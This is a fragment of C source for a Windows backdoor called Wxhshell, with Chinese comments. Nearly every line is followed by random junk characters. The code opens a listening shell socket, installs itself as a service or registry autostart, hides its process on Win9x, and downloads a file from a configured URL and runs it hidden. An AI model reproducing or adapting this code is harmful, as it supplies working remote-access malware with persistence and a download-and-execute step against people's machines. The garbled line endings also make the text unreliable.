ULONG UniqueProcessId; 9&q<6TZ z
ULONG InheritedFromUniqueProcessId; O,>1GKw"\
} PROCESS_BASIC_INFORMATION; ja3wXz$2
{}H5%W
PROCNTQSIP NtQueryInformationProcess; In#V1[io
W'hE,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zM%ILv4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e; 5n.+m
M:z)uLDw
HANDLE hProcess; aT$q1!U`j2
PROCESS_BASIC_INFORMATION pbi; @C{IgV
!2s<
v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); % <
D
if(NULL == hInst ) return 0; OM*N) *
;Y5"[C9|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PsU.dv[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); POwJhT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <cW$
\P}hV
Va/LMw
if (!NtQueryInformationProcess) return 0; T>2) YOx
|FGt'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b&f;p}C24
if(!hProcess) return 0; hPLQ)c?
^B8%Re%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q$`{$RX
NTS
tk{s,
CloseHandle(hProcess); e;\g[^U
kFZw"5hb
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PXof-W
if(hProcess==NULL) return 0; h4N!zj[
R}IMX9M=
HMODULE hMod; Wly-z$\
char procName[255]; mO;X>~K
unsigned long cbNeeded; t<mT=(zt*
t$^1A1Ef
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z[<rz6%cB
,rVm81-2
CloseHandle(hProcess); gq~>S1
-bJht
if(strstr(procName,"services")) return 1; // 以服务启动 Vb*q^
v
c-.t8X,5(~
return 0; // 注册表启动 rK)aR
} 2j&-3W$^
e@"1W
// 主模块 [ R1S+i
int StartWxhshell(LPSTR lpCmdLine) S G|``}OA
{ Tu2BQ4\[
SOCKET wsl; 2mN>7Tj:
BOOL val=TRUE; mJe;BU"y]
int port=0; 6C@,&2<yK
struct sockaddr_in door; g
N76
Jy?s'tc
if(wscfg.ws_autoins) Install(); K-(k6<h
,6:ya8vB
port=atoi(lpCmdLine); n=!]!'h\:
flDe*F^
if(port<=0) port=wscfg.ws_port; #D~atgR
`p1szZD&
WSADATA data; S e/VOzzg
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U\'.rT[#
NKf][!bi
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~Fp,nE-B
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |Z'NMJU
door.sin_family = AF_INET; HTiqErD2_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); rlTCVmE8[
door.sin_port = htons(port); 1Y!"C
g BfYm
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZLw7-H6Fh
closesocket(wsl); f(~xdR))eh
return 1; ]ZKmf}A)1P
} ZRN*.
.|`JS?L[
if(listen(wsl,2) == INVALID_SOCKET) { vn<z\wVbf
closesocket(wsl); g]?&qF}
return 1; {E`[`Kf
} m?bd6'&FR
Wxhshell(wsl); YSERQo
WSACleanup(); xp-.,^q\w
p.^glz >B
return 0; ]7" W(
mpfc2>6Il.
} '7AlE!7%
KLD)h,]
// 以NT服务方式启动 0;
GnR 0
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q SPneYD
{ 9[K".VeT]
DWORD status = 0; C[MZ9r
DWORD specificError = 0xfffffff; |6/k2d{,(
A8 V7\
serviceStatus.dwServiceType = SERVICE_WIN32; O|j(CaF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1H sfCky{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?RL[#d+y
serviceStatus.dwWin32ExitCode = 0; )cOw9s
serviceStatus.dwServiceSpecificExitCode = 0; t=M:L[bis;
serviceStatus.dwCheckPoint = 0; C5oslP/@
serviceStatus.dwWaitHint = 0; sUA==k
R&}"En`$s
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F|p&v7T
if (hServiceStatusHandle==0) return; )N h67P3X"
({JXv
status = GetLastError(); eaLSq
if (status!=NO_ERROR) , 6 P:S7
{ Tbv", b
serviceStatus.dwCurrentState = SERVICE_STOPPED; >PdYQDyVS
serviceStatus.dwCheckPoint = 0; 8OE=7PK
serviceStatus.dwWaitHint = 0; [@d$XC]Qz
serviceStatus.dwWin32ExitCode = status; K P{|xQ>
serviceStatus.dwServiceSpecificExitCode = specificError; B1dVHz#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7x`dEi<
return; %xZYIYKf
} BUT{ }2+K
2@K D
'^(
serviceStatus.dwCurrentState = SERVICE_RUNNING;
s;V~dxAiv
serviceStatus.dwCheckPoint = 0; l_tr,3_w
serviceStatus.dwWaitHint = 0; \HX'^t`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W"
>[sn|
} ^Xv_y+
$D{KXkrd
// 处理NT服务事件,比如:启动、停止 XFpII45
VOID WINAPI NTServiceHandler(DWORD fdwControl) )yvI {
{ PI_MSiYQ
switch(fdwControl) k L\;90
{ u!I Es
case SERVICE_CONTROL_STOP: sXHrCU
serviceStatus.dwWin32ExitCode = 0; T"7Ue
serviceStatus.dwCurrentState = SERVICE_STOPPED; Hl`S\
serviceStatus.dwCheckPoint = 0; ZC}'! $r7
serviceStatus.dwWaitHint = 0; &:1PF.)N
{ '<!
b}1w0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uYjE)"
} _Iz JxAcJ
return; y+b4sFf
case SERVICE_CONTROL_PAUSE: *J[3f]PBmR
serviceStatus.dwCurrentState = SERVICE_PAUSED; CqW:m*c
break; `x=W)o
}
case SERVICE_CONTROL_CONTINUE: zbQ-l1E
serviceStatus.dwCurrentState = SERVICE_RUNNING; O.61-rp
break; $HVus=D"
case SERVICE_CONTROL_INTERROGATE: ~uqpF-.
break; WAr;g?Q8
}; 1>hY!nG h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y/U(v"'4U
} g '2'K
%04N"^mT'~
// 标准应用程序主函数 :`('lrq
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MmUtBT
{ vv='.R, D
=!}n .
// 获取操作系统版本 A+3, y<j\
OsIsNt=GetOsVer(); 7&oT}Z
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'Cw&9cL9w
b[5$$_[
// 从命令行安装 R@*mMWW,
if(strpbrk(lpCmdLine,"iI")) Install(); Ky"]L~8$
(-k`|X"
// 下载执行文件 1, 5"sQ$
if(wscfg.ws_downexe) { Vl=!^T}l+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YrlOvXW
WinExec(wscfg.ws_filenam,SW_HIDE); "^sh:{
} zxN,ys
CeL`T:]r
if(!OsIsNt) { F3BWi[Xh
// 如果时win9x,隐藏进程并且设置为注册表启动 V>"nAh]}.
HideProc(); ;. jnRPo";
StartWxhshell(lpCmdLine); [[uKakp
} VVY#g%(K
else n-X;JYQW
if(StartFromService()) [C1.*Q+l
// 以服务方式启动 'Xj9sAB
StartServiceCtrlDispatcher(DispatchTable); &f12Q&jY7
else w-f[h
// 普通方式启动 P#e1?
StartWxhshell(lpCmdLine); M#<U=Ha
<'s_3AC
return 0; 8?p40x$m%
}